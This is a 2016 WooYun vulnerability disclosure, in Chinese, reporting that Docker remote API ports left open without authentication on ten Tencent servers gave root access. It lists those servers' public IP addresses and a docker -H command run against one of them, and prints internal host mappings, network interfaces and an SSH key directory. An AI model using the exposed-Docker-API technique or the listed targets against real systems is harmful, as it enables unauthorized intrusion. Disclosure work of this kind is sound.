当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0209760

漏洞标题：新姿势之获取腾讯十台机器root权限（疑似20+G代码仓库）

相关厂商：腾讯

漏洞作者： 黑客,绝对是黑客

提交时间：2016-05-17 16:28

修复时间：2016-07-02 11:50

公开时间：2016-07-02 11:50

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-17： 细节已通知厂商并且等待厂商处理中
2016-05-18： 厂商已经确认，细节仅向厂商公开
2016-05-28： 细节向核心白帽子及相关领域专家公开
2016-06-07： 细节向普通白帽子公开
2016-06-17： 细节向实习白帽子公开
2016-07-02： 细节向公众公开

简要描述：

黑客，绝对是黑客！
轻轻送送拿root
声明下，没有碰数据和代码

详细说明：

疑似20多g代码

6433D3CEE46A1A401670E14588E508E1.jpg


2375端口未授权访问，一共10台

182.254.145.30
115.159.142.215
115.159.151.75
115.159.127.198
115.159.119.88
115.159.157.226
115.159.142.220
115.159.112.88
115.159.205.90
115.159.157.68


拿这个证明115.159.119.88

http://115.159.119.88:2375


列出images

root@ip-172-31-43-63:/home/ubuntu# docker -H tcp://115.159.119.88:2375 ps
CONTAINER ID        IMAGE                                                              COMMAND                CREATED             STATUS              PORTS                                                                         NAMES
cb4574cdb29c        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:46934->6210/tcp, 0.0.0.0:20066->14888/tcp, 0.0.0.0:46936->36000/tcp   container_1458634523754_7996_02_000003_34
aba75599dbd7        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:46928->6210/tcp, 0.0.0.0:21951->14888/tcp, 0.0.0.0:46932->36000/tcp   container_1458634523754_8238_02_000003_34
f738c487e6ba        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:22086->14888/tcp, 0.0.0.0:46927->36000/tcp                            container_1460213284004_4606_01_000003_34
2a64fe25ec69        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:46925->6210/tcp, 0.0.0.0:20561->14888/tcp, 0.0.0.0:46926->36000/tcp   container_1458634523754_8066_02_000003_34
35f7b3709f79        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:46924->6210/tcp, 0.0.0.0:22091->14888/tcp, 0.0.0.0:46923->36000/tcp   container_1460213284004_4608_01_000002_34
be7f9bc7a60a        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:21736->14888/tcp, 0.0.0.0:46922->36000/tcp                            container_1458634523754_2349_02_000002_34
b7233a0fd6e2        docker.qq.com:80/gcloud/acc_cloud:latest                           "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:46919->6220/tcp, 0.0.0.0:46920->6223/tcp, 0.0.0.0:46921->36000/tcp    container_1460950863294_0081_01_000005_34
1703ce2bb1ab        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:22051->14888/tcp, 0.0.0.0:46918->36000/tcp                            container_1460213284004_1645_01_000001_34
b0374417ecf4        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    8 minutes ago       Up 8 minutes        0.0.0.0:21986->14888/tcp, 0.0.0.0:46917->36000/tcp                            container_1458634523754_10983_02_000001_34
5e10fe7dc8ef        docker.qq.com:80/gcloud/free_zone_version_server_20160420:latest   "/etc/rc.local bash    6 days ago          Up 6 days           0.0.0.0:22441->14888/tcp, 0.0.0.0:46213->36000/tcp                            container_1460950863294_22798_01_000002_34
e1249fa8b307        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    11 days ago         Up 11 days          0.0.0.0:45465->6210/tcp, 0.0.0.0:22426->14888/tcp, 0.0.0.0:45464->36000/tcp   container_1460950863294_17702_01_000002_34
954fb5890386        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    13 days ago         Up 13 days          0.0.0.0:45132->6210/tcp, 0.0.0.0:22381->14888/tcp, 0.0.0.0:45131->36000/tcp   container_1460950863294_15653_01_000002_34
042da5523c5c        docker.qq.com:80/gcloud/free_zone_version_server_20160420:latest   "/etc/rc.local bash    2 weeks ago         Up 2 weeks          0.0.0.0:22366->14888/tcp, 0.0.0.0:43712->36000/tcp                            container_1460950863294_9355_01_000002_34
7e75db06835c        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    2 weeks ago         Up 2 weeks          0.0.0.0:43707->6210/tcp, 0.0.0.0:22346->14888/tcp, 0.0.0.0:43708->36000/tcp   container_1460950863294_9089_01_000002_34
7b8c3d8416f5        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    3 weeks ago         Up 3 weeks          0.0.0.0:42983->6210/tcp, 0.0.0.0:22306->14888/tcp, 0.0.0.0:42982->36000/tcp   container_1460950863294_7315_01_000002_34
ffa5ec0c90a3        docker.qq.com:80/gcloud/free_zone_version_server_20160420:latest   "/etc/rc.local bash    3 weeks ago         Up 3 weeks          0.0.0.0:22281->14888/tcp, 0.0.0.0:42762->36000/tcp                            container_1460950863294_4170_01_000002_34
8cb83c32b459        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    3 weeks ago         Up 3 weeks          0.0.0.0:22261->14888/tcp, 0.0.0.0:42599->36000/tcp                            container_1460950863294_3794_01_000002_34
051108731aab        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    3 weeks ago         Up 3 weeks          0.0.0.0:42107->6210/tcp, 0.0.0.0:22246->14888/tcp, 0.0.0.0:42109->36000/tcp   container_1460950863294_2688_01_000002_34
043e9e2fe3ce        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    3 weeks ago         Up 3 weeks          0.0.0.0:22236->14888/tcp, 0.0.0.0:42104->36000/tcp                            container_1460950863294_2681_01_000002_34
05bdd4a7450b        docker.qq.com:80/gcloud/acc_cloud:latest                           "/etc/rc.local bash    4 weeks ago         Up 4 weeks          0.0.0.0:41027->6220/tcp, 0.0.0.0:41024->6223/tcp, 0.0.0.0:41026->36000/tcp    container_1460950863294_0081_01_000002_34
9c4b20ff2175        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    4 weeks ago         Up 4 weeks          0.0.0.0:41008->6210/tcp, 0.0.0.0:22221->14888/tcp, 0.0.0.0:41007->36000/tcp   container_1460950863294_0021_01_000002_34
aeb0ff169be7        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    4 weeks ago         Up 4 weeks          0.0.0.0:22196->14888/tcp, 0.0.0.0:41005->36000/tcp                            container_1460213284004_6792_01_000002_33
c5a773f8afc7        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    4 weeks ago         Up 4 weeks          0.0.0.0:22191->14888/tcp, 0.0.0.0:41004->36000/tcp                            container_1460213284004_6791_01_000002_33
d108ad37cbb3        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    5 weeks ago         Up 5 weeks          0.0.0.0:40489->6210/tcp, 0.0.0.0:20021->14888/tcp, 0.0.0.0:40488->36000/tcp   container_1458634523754_14139_01_000002_32
60896378d4cf        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    5 weeks ago         Up 5 weeks          0.0.0.0:21561->14888/tcp, 0.0.0.0:40486->36000/tcp                            container_1458634523754_13297_01_000002_32
c1b234c28429        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    5 weeks ago         Up 5 weeks          0.0.0.0:22031->14888/tcp, 0.0.0.0:40291->36000/tcp                            container_1458634523754_12766_01_000002_32
f6254905fc6f        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    5 weeks ago         Up 5 weeks          0.0.0.0:40289->6210/tcp, 0.0.0.0:20106->14888/tcp, 0.0.0.0:40288->36000/tcp   container_1458634523754_11107_01_000002_32
af2ff31c86ab        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    5 weeks ago         Up 5 weeks          0.0.0.0:40284->6210/tcp, 0.0.0.0:20261->14888/tcp, 0.0.0.0:40282->36000/tcp   container_1458634523754_11010_01_000002_32
d35de4f633fa        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    5 weeks ago         Up 5 weeks          0.0.0.0:21996->14888/tcp, 0.0.0.0:40276->36000/tcp                            container_1458634523754_10985_01_000002_32
0559a177d6b0        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    6 weeks ago         Up 6 weeks          0.0.0.0:21616->14888/tcp, 0.0.0.0:40269->36000/tcp                            container_1458634523754_10451_01_000002_32
df8468c257ec        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    6 weeks ago         Up 6 weeks          0.0.0.0:40267->6210/tcp, 0.0.0.0:20781->14888/tcp, 0.0.0.0:40266->36000/tcp   container_1458634523754_9768_01_000002_32
3d0f2f63a1bb        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    6 weeks ago         Up 6 weeks          0.0.0.0:40265->6210/tcp, 0.0.0.0:21961->14888/tcp, 0.0.0.0:40264->36000/tcp   container_1458634523754_9465_01_000002_32
a9c7b78217a8        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    6 weeks ago         Up 6 weeks          0.0.0.0:40261->6210/tcp, 0.0.0.0:21941->14888/tcp, 0.0.0.0:40262->36000/tcp   container_1458634523754_8235_01_000002_32
4d8e7fe3b285        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    6 weeks ago         Up 6 weeks          0.0.0.0:40192->6210/tcp, 0.0.0.0:20566->14888/tcp, 0.0.0.0:40191->36000/tcp   container_1458634523754_8067_01_000002_32
f5950106f1a8        docker.qq.com:80/gcloud/free_zone_dir_server_withacc:latest        "/etc/rc.local bash    6 weeks ago         Up 6 weeks          0.0.0.0:40165->6210/tcp, 0.0.0.0:20726->14888/tcp, 0.0.0.0:40164->36000/tcp   container_1458634523754_8010_01_000002_32
d2d3dd6bc3d2        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    7 weeks ago         Up 7 weeks          0.0.0.0:20676->14888/tcp, 0.0.0.0:40163->36000/tcp                            container_1458634523754_2412_01_000002_32
7f23e748dd87        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    7 weeks ago         Up 7 weeks          0.0.0.0:20346->14888/tcp, 0.0.0.0:40146->36000/tcp                            container_1458634523754_2342_01_000002_32
17470d2efef0        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    7 weeks ago         Up 7 weeks          0.0.0.0:20341->14888/tcp, 0.0.0.0:40145->36000/tcp                            container_1458634523754_2340_01_000002_32
1d517f7801b5        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    7 weeks ago         Up 7 weeks          0.0.0.0:21776->14888/tcp, 0.0.0.0:40062->36000/tcp                            container_1458634523754_1005_01_000002_32
42bc26a016b6        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    7 weeks ago         Up 7 weeks          0.0.0.0:20881->14888/tcp, 0.0.0.0:40061->36000/tcp                            container_1458634523754_1001_01_000002_32
a253660026e0        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    8 weeks ago         Up 8 weeks          0.0.0.0:21511->14888/tcp, 0.0.0.0:39923->36000/tcp                            container_1458508352011_0322_01_000002_30
e552964949c8        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    8 weeks ago         Up 8 weeks          0.0.0.0:20206->14888/tcp, 0.0.0.0:39918->36000/tcp                            container_1457551624703_8652_01_000002_24
f30c5597ebf2        docker.qq.com:80/gcloud/free_zone_version_server:latest            "/etc/rc.local bash    8 weeks ago         Up 8 weeks          0.0.0.0:21646->14888/tcp, 0.0.0.0:39914->36000/tcp                            container_1457551624703_8405_01_000002_24


image repository为docker.qq.com，证明为腾讯
神奇一键拿root，成功登录
/etc/hosts

[root@docker-10-237-142-103 home]# cat /etc/hosts
127.0.0.1  localhost  VM_142_103_centos
10.105.39.219     docker-10-105-39-219
10.105.57.227     docker-10-105-57-227
10.105.48.96     docker-10-105-48-96
10.105.15.73     docker-10-105-15-73
10.105.46.15     docker-10-105-46-15
10.105.52.172     docker-10-105-52-172
10.105.111.112     docker-10-105-111-112
10.105.112.140     docker-10-105-112-140
10.237.132.103     docker-10-237-132-103
10.247.48.125     docker-10-247-48-125
10.237.142.103     docker-10-237-142-103
10.247.70.137     docker-10-247-70-137
10.131.165.90   docker.qq.com docker-10-131-165-90
10.131.164.129    registry.qq.com docker-10-131-164.129
10.105.110.204     docker-10-105-110-204
10.105.110.156     docker-10-105-110-156


ping docker.qq.com

[root@docker-10-237-142-103 home]# ping docker.qq.com
PING docker.qq.com (10.131.165.90) 56(84) bytes of data.
64 bytes from docker.qq.com (10.131.165.90): icmp_seq=1 ttl=61 time=0.334 ms
64 bytes from docker.qq.com (10.131.165.90): icmp_seq=2 ttl=61 time=0.332 ms
64 bytes from docker.qq.com (10.131.165.90): icmp_seq=3 ttl=61 time=0.303 ms
64 bytes from docker.qq.com (10.131.165.90): icmp_seq=4 ttl=61 time=0.304 ms
64 bytes from docker.qq.com (10.131.165.90): icmp_seq=5 ttl=61 time=0.371 ms


ifconfig

[root@docker-10-237-142-103 home]# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.1  netmask 255.255.255.0  broadcast 0.0.0.0
        ether 56:84:7a:fe:97:99  txqueuelen 0  (Ethernet)
        RX packets 2253025437  bytes 153768496578 (143.2 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2183642671  bytes 191079773682 (177.9 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.237.142.103  netmask 255.255.254.0  broadcast 10.237.143.255
        ether 52:54:00:89:9b:8f  txqueuelen 1000  (Ethernet)
        RX packets 1701689621  bytes 183712984058 (171.0 GiB)
        RX errors 0  dropped 1346  overruns 0  frame 0
        TX packets 2315262507  bytes 294166431344 (273.9 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


ssh key

[root@docker-10-237-142-103 ssh]# ls -al
total 288
drwxr-xr-x.  2 root root       4096 Feb  1 11:28 .
drwxr-xr-x. 87 root root       4096 Mar 21 17:01 ..
-rw-r--r--.  1 root root     242153 Mar  6  2015 moduli
-rw-r--r--.  1 root root       2208 Mar  6  2015 ssh_config
-rw-------   1 root root       4378 Feb  1 11:28 sshd_config
-rw-r-----   1 root ssh_keys    227 Nov 26 09:42 ssh_host_ecdsa_key
-rw-r--r--   1 root root        162 Nov 26 09:42 ssh_host_ecdsa_key.pub
-rw-r-----   1 root ssh_keys    387 Nov 26 09:42 ssh_host_ed25519_key
-rw-r--r--   1 root root         82 Nov 26 09:42 ssh_host_ed25519_key.pub
-rw-r-----   1 root ssh_keys   1675 Nov 26 09:42 ssh_host_rsa_key
-rw-r--r--   1 root root        382 Nov 26 09:42 ssh_host_rsa_key.pub

漏洞证明：

修复方案：

参考 http://drops.wooyun.org/papers/15892

版权声明：转载请注明来源 黑客,绝对是黑客@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-05-18 11:40

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无